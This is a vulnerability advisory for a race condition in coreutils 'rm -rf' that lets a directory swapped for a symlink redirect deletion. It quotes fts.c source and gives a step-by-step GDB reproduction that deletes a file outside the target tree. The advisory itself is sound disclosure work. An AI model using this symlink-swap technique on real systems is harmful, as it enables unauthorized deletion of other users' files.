First published: Mon Apr 13 2015(Updated: )
Rikus Goodell of CPanel found a race condition in coreutils (rm command). Recursive directory removal with "rm -rf" has a TOCTOU race condition when descending into subdirectories. It uses these syscalls to traverse into subdirectories: 19935 fstatat64(4, "x", {st_mode=S_IFDIR|0755, st_size=4096, ...}, AT_SYMLINK_NOFOLLOW) = 0 19935 openat(4, "x", O_RDONLY|O_NOCTTY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3 Note that the stat has NOFOLLOW, but the open does not, so if the directory "x" changes to a symlink between these two syscalls, rm will traverse across the symlink. This makes the type of attack described here possible: <a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=286922">https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=286922</a> The relevant code that opens a dir in coreutils-8.4: coreutils-8.4/lib/fts.c: 1243 #if defined FTS_WHITEOUT && 0 1244 if (ISSET(FTS_WHITEOUT)) 1245 oflag = DTF_NODUP|DTF_REWIND; 1246 else 1247 oflag = DTF_HIDEW|DTF_NODUP|DTF_REWIND; 1248 #else 1249 # define __opendir2(file, flag) \ 1250 ( ! ISSET(FTS_NOCHDIR) && ISSET(FTS_CWDFD) \ 1251 ? opendirat(sp->fts_cwd_fd, file) \ 1252 : opendir(file)) 1253 #endif 1254 if ((dirp = __opendir2(cur->fts_accpath, oflag)) == NULL) { So, it uses __opendir2 (which is defined right above); this, in turn, calls "opendirat" for a directory, which does this: coreutils-8.4/lib/fts.c: 298 static inline DIR * 299 internal_function 300 opendirat (int fd, char const *dir) 301 { 302 int new_fd = openat (fd, dir, 303 O_RDONLY | O_DIRECTORY | O_NOCTTY | O_NONBLOCK); O_NOFOLLOW is missing. 8.22 does stuff differently: 1316 { 1317 /* Open the directory for reading. If this fails, we're done. 1318 If being called from fts_read, set the fts_info field. */ 1319 if ((cur->fts_dirp = fts_opendir(cur->fts_accpath, &dir_fd)) == NULL) 1320 { fts_opendir here is: coreutils-8.22/lib/fts.c: 1252 #define fts_opendir(file, Pdir_fd) \ 1253 opendirat((! ISSET(FTS_NOCHDIR) && ISSET(FTS_CWDFD) \ 1254 ? sp->fts_cwd_fd : AT_FDCWD), \ 1255 file, \ 1256 (((ISSET(FTS_PHYSICAL) \ 1257 && ! (ISSET(FTS_COMFOLLOW) \ 1258 && cur->fts_level == FTS_ROOTLEVEL)) \ 1259 ? O_NOFOLLOW : 0) \ 1260 | (ISSET (FTS_NOATIME) ? O_NOATIME : 0)), \ 1261 Pdir_fd) with O_NOFOLLOW defined. Steps to reproduce using GDB to increase the "window of possibility": root@jdvm:/home/jd# mkdir -p t/switch_me root@jdvm:/home/jd# echo "xyzzy" >t/switch_me/xyzzy root@jdvm:/home/jd# mkdir unlink_stuff root@jdvm:/home/jd# echo "sensitive stuff" > unlink_stuff/unlink_this root@jdvm:/home/jd# gdb rm GNU gdb (GDB) Red Hat Enterprise Linux (7.2-75.el6) ... (gdb) break openat64 Breakpoint 1 at 0x804910c (gdb) set args -rf t (gdb) run Starting program: /bin/rm -rf t Breakpoint 1, 0x002035f6 in openat64 () from /lib/libc.so.6 (gdb) c Continuing. Breakpoint 1, 0x002035f6 in openat64 () from /lib/libc.so.6 (gdb) ^Z [1]+ Stopped gdb rm root@jdvm:/home/jd# cd t root@jdvm:/home/jd/t# ls switch_me root@jdvm:/home/jd/t# mv switch_me/ switch_me.bak root@jdvm:/home/jd/t# ln -s ../unlink_stuff switch_me root@jdvm:/home/jd/t# ls -alh total 12K drwxr-xr-x. 3 root root 4.0K Mar 25 17:03 . drwx------. 5 jd jd 4.0K Mar 25 17:01 .. lrwxrwxrwx. 1 root root 15 Mar 25 17:03 switch_me -> ../unlink_stuff drwxr-xr-x. 2 root root 4.0K Mar 25 17:01 switch_me.bak root@jdvm:/home/jd/t# cd .. root@jdvm:/home/jd# fg gdb rm (gdb) c Continuing. /bin/rm: cannot remove `t': Directory not empty Program exited with code 01. (gdb) q root@jdvm:/home/jd# ls -alh unlink_stuff/ total 8.0K drwxr-xr-x. 2 root root 4.0K Mar 25 17:04 . drwx------. 5 jd jd 4.0K Mar 25 17:01 .. root@jdvm:/home/jd#
Affected Software | Affected Version | How to fix |
---|---|---|
Debian Coreutils |
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
The severity of REDHAT-BUG-1211300 is considered moderate due to the risk of unauthorized deletion of files during recursive directory removal.
To fix REDHAT-BUG-1211300, update to the latest version of GNU Coreutils that addresses the race condition.
The vulnerability REDHAT-BUG-1211300 was discovered by Rikus Goodell of CPanel.
The impact of the vulnerability REDHAT-BUG-1211300 is the potential for unintended and irreversible file deletion.
The software affected by REDHAT-BUG-1211300 is the GNU Coreutils, specifically the rm command.